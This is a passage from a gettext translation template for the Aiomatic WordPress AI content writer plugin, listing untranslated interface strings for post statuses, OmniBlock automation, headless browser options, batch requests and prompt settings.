res/aiomatic-rules-list.php:4916 #: res/aiomatic-single-list.php:597 res/aiomatic-single-list.php:8615 #: res/aiomatic-spinner-list.php:4787 res/aiomatic-spinner-list.php:4855 #: res/aiomatic-youtube-list.php:1900 res/aiomatic-youtube-list.php:4453 msgid "Published" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18391 #: aiomatic-automatic-ai-content-writer.php:19354 #: res/aiomatic-amazon-list.php:1957 res/aiomatic-amazon-list.php:4545 #: res/aiomatic-automation-list.php:692 res/aiomatic-automation-list.php:1661 #: res/aiomatic-automation-list.php:3396 res/aiomatic-automation-list.php:4365 #: res/aiomatic-automation-list.php:6341 res/aiomatic-automation-list.php:7314 #: res/aiomatic-csv-list.php:370 res/aiomatic-csv-list.php:1507 #: res/aiomatic-listicle-list.php:1846 res/aiomatic-listicle-list.php:4339 #: res/aiomatic-review-list.php:2026 res/aiomatic-review-list.php:4698 #: res/aiomatic-rules-list.php:2127 res/aiomatic-rules-list.php:4906 #: res/aiomatic-youtube-list.php:1898 res/aiomatic-youtube-list.php:4443 msgid "Pending -> Moderate" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18397 #: aiomatic-automatic-ai-content-writer.php:19360 #: res/aiomatic-amazon-list.php:1958 res/aiomatic-amazon-list.php:4550 #: res/aiomatic-automation-list.php:698 res/aiomatic-automation-list.php:1667 #: res/aiomatic-automation-list.php:3402 res/aiomatic-automation-list.php:4371 #: res/aiomatic-automation-list.php:6347 res/aiomatic-automation-list.php:7320 #: res/aiomatic-csv-list.php:371 res/aiomatic-csv-list.php:1512 #: res/aiomatic-listicle-list.php:1847 res/aiomatic-listicle-list.php:4344 #: res/aiomatic-review-list.php:2027 res/aiomatic-review-list.php:4703 #: res/aiomatic-rules-list.php:2128 res/aiomatic-rules-list.php:4911 #: res/aiomatic-youtube-list.php:1899 res/aiomatic-youtube-list.php:4448 msgid "Draft -> Moderate" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18403 #: aiomatic-automatic-ai-content-writer.php:19366 #: res/aiomatic-amazon-list.php:1960 res/aiomatic-amazon-list.php:4560 #: res/aiomatic-automation-list.php:704 res/aiomatic-automation-list.php:1673 #: res/aiomatic-automation-list.php:3408 res/aiomatic-automation-list.php:4377 #: res/aiomatic-automation-list.php:6353 res/aiomatic-automation-list.php:7326 #: res/aiomatic-csv-list.php:373 res/aiomatic-csv-list.php:1522 #: res/aiomatic-listicle-list.php:1849 res/aiomatic-listicle-list.php:4354 #: res/aiomatic-review-list.php:2029 res/aiomatic-review-list.php:4713 #: res/aiomatic-rules-list.php:2130 res/aiomatic-rules-list.php:4921 #: res/aiomatic-single-list.php:598 res/aiomatic-single-list.php:8616 #: res/aiomatic-spinner-list.php:4793 res/aiomatic-youtube-list.php:1901 #: res/aiomatic-youtube-list.php:4458 msgid "Private" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18409 #: aiomatic-automatic-ai-content-writer.php:19372 #: res/aiomatic-amazon-list.php:1961 res/aiomatic-amazon-list.php:4565 #: res/aiomatic-automation-list.php:710 res/aiomatic-automation-list.php:1679 #: res/aiomatic-automation-list.php:3414 res/aiomatic-automation-list.php:4383 #: res/aiomatic-automation-list.php:6359 res/aiomatic-automation-list.php:7332 #: res/aiomatic-csv-list.php:374 res/aiomatic-csv-list.php:1527 #: res/aiomatic-listicle-list.php:1850 res/aiomatic-listicle-list.php:4359 #: res/aiomatic-review-list.php:2030 res/aiomatic-review-list.php:4718 #: res/aiomatic-rules-list.php:2131 res/aiomatic-rules-list.php:4926 #: res/aiomatic-single-list.php:599 res/aiomatic-single-list.php:8617 #: res/aiomatic-spinner-list.php:4799 res/aiomatic-youtube-list.php:1902 #: res/aiomatic-youtube-list.php:4463 msgid "Trash" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18583 #: aiomatic-automatic-ai-content-writer.php:19529 #: res/aiomatic-automation-list.php:884 res/aiomatic-automation-list.php:1818 #: res/aiomatic-automation-list.php:3588 res/aiomatic-automation-list.php:4522 #: res/aiomatic-automation-list.php:6533 res/aiomatic-automation-list.php:7489 #: res/aiomatic-chatbot.php:4028 msgid "You need to set up the F-omatic plugin before using this feature!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18684 #: aiomatic-automatic-ai-content-writer.php:19610 #: res/aiomatic-automation-list.php:985 res/aiomatic-automation-list.php:1899 #: res/aiomatic-automation-list.php:3689 res/aiomatic-automation-list.php:4603 #: res/aiomatic-automation-list.php:6634 res/aiomatic-automation-list.php:7570 msgid "No files added, add new files in the 'OmniBlock Files' tab" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18693 #: aiomatic-automatic-ai-content-writer.php:19619 #: res/aiomatic-automation-list.php:994 res/aiomatic-automation-list.php:1908 #: res/aiomatic-automation-list.php:3698 res/aiomatic-automation-list.php:4612 #: res/aiomatic-automation-list.php:6643 res/aiomatic-automation-list.php:7579 #: res/aiomatic-embeddings.php:703 res/aiomatic-listicle-list.php:529 #: res/aiomatic-listicle-list.php:3089 res/aiomatic-rules-list.php:544 #: res/aiomatic-rules-list.php:3418 res/aiomatic-single-list.php:1581 #: res/aiomatic-single-list.php:2784 res/aiomatic-spinner-list.php:5725 #: res/aiomatic-youtube-list.php:3149 msgid "Random" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18699 #: aiomatic-automatic-ai-content-writer.php:19625 #: res/aiomatic-automation-list.php:1000 res/aiomatic-automation-list.php:1914 #: res/aiomatic-automation-list.php:3704 res/aiomatic-automation-list.php:4618 #: res/aiomatic-automation-list.php:6649 res/aiomatic-automation-list.php:7585 #: res/aiomatic-main.php:9339 res/aiomatic-main.php:9838 msgid "Latest" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18735 #: aiomatic-automatic-ai-content-writer.php:19656 #: res/aiomatic-automation-list.php:1036 res/aiomatic-automation-list.php:1945 #: res/aiomatic-automation-list.php:3740 res/aiomatic-automation-list.php:4649 #: res/aiomatic-automation-list.php:6685 res/aiomatic-automation-list.php:7616 #: res/aiomatic-chatbot.php:4181 msgid "" "You need to set up the Pinterestomatic plugin before using this feature!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18762 #: aiomatic-automatic-ai-content-writer.php:19678 #: res/aiomatic-automation-list.php:1063 res/aiomatic-automation-list.php:1967 #: res/aiomatic-automation-list.php:3767 res/aiomatic-automation-list.php:4671 #: res/aiomatic-automation-list.php:6712 res/aiomatic-automation-list.php:7638 msgid "You need to set up the Businessomatic plugin before using this feature!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18801 #: aiomatic-automatic-ai-content-writer.php:19712 #: res/aiomatic-automation-list.php:1102 res/aiomatic-automation-list.php:2001 #: res/aiomatic-automation-list.php:3806 res/aiomatic-automation-list.php:4705 #: res/aiomatic-automation-list.php:6751 res/aiomatic-automation-list.php:7672 msgid "You need to set up the Linkedinomatic plugin before using this feature!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18909 #: aiomatic-automatic-ai-content-writer.php:19770 #: res/aiomatic-automation-list.php:1210 res/aiomatic-automation-list.php:2073 #: res/aiomatic-automation-list.php:3914 res/aiomatic-automation-list.php:4777 #: res/aiomatic-automation-list.php:6859 res/aiomatic-automation-list.php:7730 #: res/aiomatic-chatbot.php:3618 msgid "WordPress (Default)" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18915 #: aiomatic-automatic-ai-content-writer.php:19776 #: res/aiomatic-automation-list.php:1216 res/aiomatic-automation-list.php:2079 #: res/aiomatic-automation-list.php:3920 res/aiomatic-automation-list.php:4783 #: res/aiomatic-automation-list.php:6865 res/aiomatic-automation-list.php:7736 #: res/aiomatic-chatbot.php:3619 msgid "PhantomJS (needs to be installed on server)" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18921 #: aiomatic-automatic-ai-content-writer.php:19782 #: res/aiomatic-automation-list.php:1222 res/aiomatic-automation-list.php:2085 #: res/aiomatic-automation-list.php:3926 res/aiomatic-automation-list.php:4789 #: res/aiomatic-automation-list.php:6871 res/aiomatic-automation-list.php:7742 #: res/aiomatic-chatbot.php:3620 msgid "Puppeteer (needs to be installed on server)" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18927 #: aiomatic-automatic-ai-content-writer.php:19788 #: res/aiomatic-automation-list.php:1228 res/aiomatic-automation-list.php:2091 #: res/aiomatic-automation-list.php:3932 res/aiomatic-automation-list.php:4795 #: res/aiomatic-automation-list.php:6877 res/aiomatic-automation-list.php:7748 #: res/aiomatic-chatbot.php:3621 msgid "Tor (needs to be installed on server)" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18935 #: aiomatic-automatic-ai-content-writer.php:18950 #: aiomatic-automatic-ai-content-writer.php:18965 #: aiomatic-automatic-ai-content-writer.php:19796 #: aiomatic-automatic-ai-content-writer.php:19811 #: aiomatic-automatic-ai-content-writer.php:19826 #: res/aiomatic-automation-list.php:1236 res/aiomatic-automation-list.php:1251 #: res/aiomatic-automation-list.php:1266 res/aiomatic-automation-list.php:2099 #: res/aiomatic-automation-list.php:2114 res/aiomatic-automation-list.php:2129 #: res/aiomatic-automation-list.php:3940 res/aiomatic-automation-list.php:3955 #: res/aiomatic-automation-list.php:3970 res/aiomatic-automation-list.php:4803 #: res/aiomatic-automation-list.php:4818 res/aiomatic-automation-list.php:4833 #: res/aiomatic-automation-list.php:6885 res/aiomatic-automation-list.php:6900 #: res/aiomatic-automation-list.php:6915 res/aiomatic-automation-list.php:7756 #: res/aiomatic-automation-list.php:7771 res/aiomatic-automation-list.php:7786 msgid "" "This option is disabled. To enable it, add a HeadlessBrowserAPI Key in the " "plugin's 'Settings' menu." msgstr "" #: aiomatic-automatic-ai-content-writer.php:18937 #: aiomatic-automatic-ai-content-writer.php:19798 #: res/aiomatic-automation-list.php:1238 res/aiomatic-automation-list.php:2101 #: res/aiomatic-automation-list.php:3942 res/aiomatic-automation-list.php:4805 #: res/aiomatic-automation-list.php:6887 res/aiomatic-automation-list.php:7758 #: res/aiomatic-chatbot.php:3622 msgid "Puppeteer (HeadlessBrowserAPI)" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18940 #: aiomatic-automatic-ai-content-writer.php:18955 #: aiomatic-automatic-ai-content-writer.php:18971 #: aiomatic-automatic-ai-content-writer.php:19801 #: aiomatic-automatic-ai-content-writer.php:19816 #: aiomatic-automatic-ai-content-writer.php:19832 #: res/aiomatic-automation-list.php:1241 res/aiomatic-automation-list.php:1256 #: res/aiomatic-automation-list.php:1272 res/aiomatic-automation-list.php:2104 #: res/aiomatic-automation-list.php:2119 res/aiomatic-automation-list.php:2135 #: res/aiomatic-automation-list.php:3945 res/aiomatic-automation-list.php:3960 #: res/aiomatic-automation-list.php:3976 res/aiomatic-automation-list.php:4808 #: res/aiomatic-automation-list.php:4823 res/aiomatic-automation-list.php:4839 #: res/aiomatic-automation-list.php:6890 res/aiomatic-automation-list.php:6905 #: res/aiomatic-automation-list.php:6921 res/aiomatic-automation-list.php:7761 #: res/aiomatic-automation-list.php:7776 res/aiomatic-automation-list.php:7792 msgid " - to enable, add a HeadlessBrowserAPI key in the plugin's 'Settings'" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18952 #: aiomatic-automatic-ai-content-writer.php:19813 #: res/aiomatic-automation-list.php:1253 res/aiomatic-automation-list.php:2116 #: res/aiomatic-automation-list.php:3957 res/aiomatic-automation-list.php:4820 #: res/aiomatic-automation-list.php:6902 res/aiomatic-automation-list.php:7773 #: res/aiomatic-chatbot.php:3623 msgid "Tor (HeadlessBrowserAPI)" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18968 #: aiomatic-automatic-ai-content-writer.php:19829 #: res/aiomatic-automation-list.php:1269 res/aiomatic-automation-list.php:2132 #: res/aiomatic-automation-list.php:3973 res/aiomatic-automation-list.php:4836 #: res/aiomatic-automation-list.php:6918 res/aiomatic-automation-list.php:7789 #: res/aiomatic-chatbot.php:3624 msgid "PhantomJS (HeadlessBrowserAPI)" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18982 #: aiomatic-automatic-ai-content-writer.php:19843 #: res/aiomatic-automation-list.php:1283 res/aiomatic-automation-list.php:2146 #: res/aiomatic-automation-list.php:3987 res/aiomatic-automation-list.php:4850 #: res/aiomatic-automation-list.php:6932 res/aiomatic-automation-list.php:7803 msgid "Critical" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18982 #: aiomatic-automatic-ai-content-writer.php:19843 #: res/aiomatic-automation-list.php:1283 res/aiomatic-automation-list.php:2146 #: res/aiomatic-automation-list.php:3987 res/aiomatic-automation-list.php:4850 #: res/aiomatic-automation-list.php:6932 res/aiomatic-automation-list.php:7803 msgid "" "Set if this OmniBlock is critical or not. When a Critical OmniBlock fails to " "generate its content correctly and it fails, it will cause the entire " "OmniBlock running sequence to stop. Non-critical OmniBlocks when they fail, " "the execution of blocks will continue, the result of the failed OmniBlock " "will be blank." msgstr "" #: aiomatic-automatic-ai-content-writer.php:18995 #: aiomatic-automatic-ai-content-writer.php:19856 #: res/aiomatic-automation-list.php:1296 res/aiomatic-automation-list.php:2159 #: res/aiomatic-automation-list.php:4000 res/aiomatic-automation-list.php:4863 #: res/aiomatic-automation-list.php:6945 res/aiomatic-automation-list.php:7816 msgid "" "Set if this OmniBlock is disabled or not. The disabled OmniBlocks will be " "skipped from processing." msgstr "" #: aiomatic-automatic-ai-content-writer.php:19020 #: res/aiomatic-automation-list.php:1321 res/aiomatic-automation-list.php:4025 #: res/aiomatic-automation-list.php:6971 msgid "Step" msgstr "" #: aiomatic-automatic-ai-content-writer.php:19020 #: res/aiomatic-automation-list.php:1321 res/aiomatic-automation-list.php:4025 #: res/aiomatic-automation-list.php:6980 msgid "ID:" msgstr "" #: aiomatic-automatic-ai-content-writer.php:19031 #: res/aiomatic-automation-list.php:1338 res/aiomatic-automation-list.php:4042 #: res/aiomatic-automation-list.php:6991 msgid "OmniBlock Queue Stops Here" msgstr "" #: aiomatic-automatic-ai-content-writer.php:19031 #: res/aiomatic-automation-list.php:1338 res/aiomatic-automation-list.php:4042 #: res/aiomatic-automation-list.php:6991 msgid "Add A New OmniBlock To The Above Queue (Drag And Drop):" msgstr "" #: aiomatic-automatic-ai-content-writer.php:19035 #: res/aiomatic-automation-list.php:1344 res/aiomatic-automation-list.php:4048 #: res/aiomatic-automation-list.php:6995 msgid "No AI OmniBlock Types Defined!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:19118 #: res/aiomatic-automation-list.php:1426 res/aiomatic-automation-list.php:4130 #: res/aiomatic-automation-list.php:7078 msgid "add this OmniBlock and save settings to get the URL" msgstr "" #: aiomatic-automatic-ai-content-writer.php:19135 #: aiomatic-automatic-ai-content-writer.php:19145 #: aiomatic-automatic-ai-content-writer.php:19146 #: aiomatic-automatic-ai-content-writer.php:19147 #: aiomatic-automatic-ai-content-writer.php:19151 #: aiomatic-automatic-ai-content-writer.php:19759 #: res/aiomatic-automation-list.php:1443 res/aiomatic-automation-list.php:1452 #: res/aiomatic-automation-list.php:1453 res/aiomatic-automation-list.php:1454 #: res/aiomatic-automation-list.php:1458 res/aiomatic-automation-list.php:2062 #: res/aiomatic-automation-list.php:4147 res/aiomatic-automation-list.php:4156 #: res/aiomatic-automation-list.php:4157 res/aiomatic-automation-list.php:4158 #: res/aiomatic-automation-list.php:4162 res/aiomatic-automation-list.php:4766 #: res/aiomatic-automation-list.php:7095 res/aiomatic-automation-list.php:7105 #: res/aiomatic-automation-list.php:7106 res/aiomatic-automation-list.php:7107 #: res/aiomatic-automation-list.php:7111 res/aiomatic-automation-list.php:7719 msgid "Main keyword shortcode" msgstr "" #: aiomatic-automatic-ai-content-writer.php:19887 msgid "Select what type of OmniBlock you want to add." msgstr "" #: aiomatic-automatic-ai-content-writer.php:19889 #: res/aiomatic-automation-list.php:2196 res/aiomatic-automation-list.php:4900 #: res/aiomatic-automation-list.php:7849 msgid "OmniBlock Type To Add (Drag And Drop):" msgstr "" #: aiomatic-automatic-ai-content-writer.php:19889 #: res/aiomatic-automation-list.php:2196 res/aiomatic-automation-list.php:4900 #: res/aiomatic-automation-list.php:7849 msgid "Add OmniBlock" msgstr "" #: aiomatic-automatic-ai-content-writer.php:19892 #: res/aiomatic-automation-list.php:2199 res/aiomatic-automation-list.php:4903 #: res/aiomatic-automation-list.php:7852 msgid "" "Change the OmniBlock Type which is displayed, which will be able to be added " "to the OmniBlock Queue." msgstr "" #: aiomatic-automatic-ai-content-writer.php:19893 #: res/aiomatic-automation-list.php:2200 res/aiomatic-automation-list.php:4904 #: res/aiomatic-automation-list.php:7853 msgid "Select a block type to add" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20735 msgctxt "taxonomy general name" msgid "Post Source" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20736 msgctxt "taxonomy singular name" msgid "Post Source" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20737 msgid "Search Post Source" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20738 msgid "Popular Post Source" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20739 msgid "All Post Sources" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20742 msgid "Edit Post Source" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20743 msgid "Update Post Source" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20744 msgid "Add New Post Source" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20745 msgid "New Post Source Name" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20746 msgid "Separate Post Source with commas" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20747 msgid "Add or remove Post Source" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20748 msgid "Choose from the most used Post Source" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20749 msgid "No Post Sources found." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20750 msgid "Post Source" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20818 msgid "AI Persona First Message" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20825 msgid "AI Assistant First Message" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20911 #: aiomatic-automatic-ai-content-writer.php:20914 msgid "Embedding updated." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20912 #: aiomatic-automatic-ai-content-writer.php:20928 #: aiomatic-automatic-ai-content-writer.php:20944 #: aiomatic-automatic-ai-content-writer.php:20960 #: aiomatic-automatic-ai-content-writer.php:20976 #: aiomatic-automatic-ai-content-writer.php:20992 #: aiomatic-automatic-ai-content-writer.php:21008 msgid "Custom field updated." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20913 #: aiomatic-automatic-ai-content-writer.php:20929 #: aiomatic-automatic-ai-content-writer.php:20945 #: aiomatic-automatic-ai-content-writer.php:20961 #: aiomatic-automatic-ai-content-writer.php:20977 #: aiomatic-automatic-ai-content-writer.php:20993 #: aiomatic-automatic-ai-content-writer.php:21009 msgid "Custom field deleted." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20915 #, php-format msgid "Embedding restored to revision from %s" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20916 msgid "Embedding published." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20917 msgid "Embedding saved." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20918 msgid "Embedding submitted." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20919 #, php-format msgid "Embedding scheduled for: %1$s." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20920 msgid "Embedding draft updated." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20927 #: aiomatic-automatic-ai-content-writer.php:20930 msgid "Form updated." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20931 #, php-format msgid "Form restored to revision from %s" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20932 msgid "Form published." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20933 msgid "Form saved." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20934 msgid "Form submitted." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20935 #, php-format msgid "Form scheduled for: %1$s." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20936 msgid "Form draft updated." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20943 #: aiomatic-automatic-ai-content-writer.php:20946 msgid "Persona updated." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20947 #, php-format msgid "Persona restored to revision from %s" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20948 msgid "Persona published." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20949 msgid "Persona saved." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20950 msgid "Persona submitted." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20951 #, php-format msgid "Persona scheduled for: %1$s." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20952 msgid "Persona draft updated." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20959 #: aiomatic-automatic-ai-content-writer.php:20962 msgid "Assistant updated." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20963 #, php-format msgid "Assistant restored to revision from %s" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20964 msgid "Assistant published." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20965 msgid "Assistant saved." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20966 msgid "Assistant submitted." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20967 #, php-format msgid "Assistant scheduled for: %1$s." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20968 msgid "Assistant draft updated." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20975 #: aiomatic-automatic-ai-content-writer.php:20978 msgid "AI Batch Request updated." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20979 #, php-format msgid "AI Batch Request restored to revision from %s" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20980 msgid "AI Batch Request published." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20981 msgid "AI Batch Request saved." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20982 msgid "AI Batch Request submitted." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20983 #, php-format msgid "AI Batch Request scheduled for: %1$s." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20984 msgid "AI Batch Request draft updated." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20991 #: aiomatic-automatic-ai-content-writer.php:20994 msgid "OmniBlock Template updated." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20995 #, php-format msgid "OmniBlock Template restored to revision from %s" msgstr "" #: aiomatic-automatic-ai-content-writer.php:20996 msgid "OmniBlock Template published." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20997 msgid "OmniBlock Template saved." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20998 msgid "OmniBlock Template submitted." msgstr "" #: aiomatic-automatic-ai-content-writer.php:20999 #, php-format msgid "OmniBlock Template scheduled for: %1$s." msgstr "" #: aiomatic-automatic-ai-content-writer.php:21000 msgid "OmniBlock Template draft updated." msgstr "" #: aiomatic-automatic-ai-content-writer.php:21007 #: aiomatic-automatic-ai-content-writer.php:21010 msgid "Theme updated." msgstr "" #: aiomatic-automatic-ai-content-writer.php:21011 #, php-format msgid "Theme restored to revision from %s" msgstr "" #: aiomatic-automatic-ai-content-writer.php:21012 msgid "Theme published." msgstr "" #: aiomatic-automatic-ai-content-writer.php:21013 msgid "Theme saved." msgstr "" #: aiomatic-automatic-ai-content-writer.php:21014 msgid "Theme submitted." msgstr "" #: aiomatic-automatic-ai-content-writer.php:21015 #, php-format msgid "Theme scheduled for: %1$s." msgstr "" #: aiomatic-automatic-ai-content-writer.php:21016 msgid "Theme draft updated." msgstr "" #: aiomatic-automatic-ai-content-writer.php:23276 msgid "Google did not generate any audio for this text" msgstr "" #: aiomatic-automatic-ai-content-writer.php:23669 msgid "" "Please enable curl PHP extension. Please contact your hosting provider's " "support to help you in this matter." msgstr "" #: aiomatic-automatic-ai-content-writer.php:23674 msgid "You are not allowed to activate plugins!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:23682 #, php-format msgid "" "This plugin can not be activated because it requires a PHP version greater " "than %1$s. Please update your PHP version before you activate it." msgstr "" #: aiomatic-automatic-ai-content-writer.php:23688 #, php-format msgid "" "This plugin can not be activated because it requires a WordPress version " "greater than %1$s. Please go to Dashboard -> Updates to get the latest " "version of WordPress." msgstr "" #: aiomatic-automatic-ai-content-writer.php:25935 #, php-format msgid "" "The plugin is not registered. Automatic updating is disabled. Please " "purchase a license for it from here and " "register the plugin from the 'Settings' menu using your purchase code. How I find my purchase code?" msgstr "" #: aiomatic-automatic-ai-content-writer.php:27216 #: res/aiomatic-automation-list.php:110 res/aiomatic-automation-list.php:130 #: res/aiomatic-batch.php:525 res/aiomatic-batch.php:534 #: res/aiomatic-batch.php:540 res/aiomatic-batch.php:545 #: res/aiomatic-batch.php:552 res/aiomatic-batch.php:558 #: res/aiomatic-batch.php:568 res/aiomatic-batch.php:575 #: res/aiomatic-batch.php:582 res/aiomatic-batch.php:590 #: res/aiomatic-batch.php:618 msgid "Loading..." msgstr "" #: aiomatic-automatic-ai-content-writer.php:27217 msgid "Batch created:" msgstr "" #: aiomatic-automatic-ai-content-writer.php:27218 msgid "Batch in progress:" msgstr "" #: aiomatic-automatic-ai-content-writer.php:27219 msgid "Batch cancelling:" msgstr "" #: aiomatic-automatic-ai-content-writer.php:27220 msgid "Batch cancelled:" msgstr "" #: aiomatic-automatic-ai-content-writer.php:27221 msgid "Batch finalizing:" msgstr "" #: aiomatic-automatic-ai-content-writer.php:27222 msgid "Batch completed:" msgstr "" #: aiomatic-automatic-ai-content-writer.php:27223 msgid "Completion time:" msgstr "" #: aiomatic-automatic-ai-content-writer.php:27224 msgid "Batch failed:" msgstr "" #: aiomatic-automatic-ai-content-writer.php:27225 msgid "Batch expired:" msgstr "" #: aiomatic-automatic-ai-content-writer.php:28958 aiomatic-streaming.php:27 msgid "You are not allowed to do this action!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:28967 msgid "Incomplete POST request for chat!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:28973 msgid "You need to insert a valid Anthropic Claude API Key for this to work!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:29053 msgid "" "The daily token count for your user account was exceeded! Please try again " "tomorrow." msgstr "" #: aiomatic-automation.php:24 msgid "AI Text" msgstr "" #: aiomatic-automation.php:25 aiomatic-automation.php:55 #: aiomatic-automation.php:113 aiomatic-automation.php:143 #: aiomatic-automation.php:173 aiomatic-automation.php:197 msgid " - AI Content Blocks" msgstr "" #: aiomatic-automation.php:27 msgid "Generates AI textual content using different models" msgstr "" #: aiomatic-automation.php:33 aiomatic-automation.php:70 #: aiomatic-automation.php:121 aiomatic-automation.php:151 #: aiomatic-automation.php:181 aiomatic-automation.php:1298 #: res/image-seo/seo-panel.php:39 msgid "AI Prompt" msgstr "" #: aiomatic-automation.php:35 aiomatic-automation.php:72 #: aiomatic-automation.php:321 aiomatic-automation.php:398 msgid "Set the AI prompt which will be sent to the content writer" msgstr "" #: aiomatic-automation.php:36 #, php-format msgid "" "Set the AI prompt which will be sent to the content writer. Additional " "shortcodes you can use: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, " "Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes " "supported." msgstr "" #: aiomatic-automation.php:40 aiomatic-automation.php:77 #: aiomatic-automation.php:326 aiomatic-automation.php:403 #: aiomatic-automation.php:1305 msgid "AI Assistant" msgstr "" #: aiomatic-automation.php:42 aiomatic-automation.php:79 #: aiomatic-automation.php:328 aiomatic-automation.php:405 msgid "" "Select the AI Assistant to be used with the AI writer. If you select an " "assistant, a model cannot be selected any more, but instead, the model " "assigned to the assistant will be used." msgstr "" #: aiomatic-automation.php:46 aiomatic-automation.php:83 #: aiomatic-automation.php:128 aiomatic-automation.php:158 #: aiomatic-automation.php:332 aiomatic-automation.php:409 #: aiomatic-automation.php:1311 aiomatic-shortcodes-file.php:610 #: res/admin/ai-post-gutenberg.php:127 res/admin/ai-post.php:123 #: res/image-seo/seo-panel.php:88 msgid "AI Model" msgstr "" #: aiomatic-automation.php:48 aiomatic-automation.php:85 #: aiomatic-automation.php:334 aiomatic-automation.php:411 msgid "Select the model to be used with the AI writer." msgstr "" #: aiomatic-automation.php:54 msgid "AI Text For Each Line Of Input" msgstr "" #: aiomatic-automation.php:57 msgid "" "Generates AI textual content using different models, calling the AI writer " "for each line of the input text (with respective prompt changes)" msgstr "" #: aiomatic-automation.php:63 msgid "Multiline Input" msgstr "" #: aiomatic-automation.php:65 msgid "Set the multiline input, which will be used to call the AI" msgstr "" #: aiomatic-automation.php:66 #, php-format msgid "" "Set the multiline input which will be cut to lines and will be used to call " "the below prompt, for each of its lines. This input will be cut up to " "multiple lines and will create the %%current_input_line%% shortcode, usable " "below. Additional shortcodes you can use: %%current_date_time%%, " "%%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% " "+ Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress " "shortcodes supported." msgstr "" #: aiomatic-automation.php:73 #, php-format msgid "" "Set the AI prompt which will be sent to the content writer. Additional " "shortcodes you can use: %%current_input_line%%, " "%%current_input_line_counter%%, %%all_input_lines%%, %%current_date_time%%, " "%%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% " "+ Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress " "shortcodes supported." msgstr "" #: aiomatic-automation.php:89 msgid "Text To Prepend To Each Content Block" msgstr "" #: aiomatic-automation.php:91 msgid "Text to prepend" msgstr "" #: aiomatic-automation.php:92 msgid "" "Set the text to be prepend to each content block which was created by this " "OmniBlock." msgstr "" #: 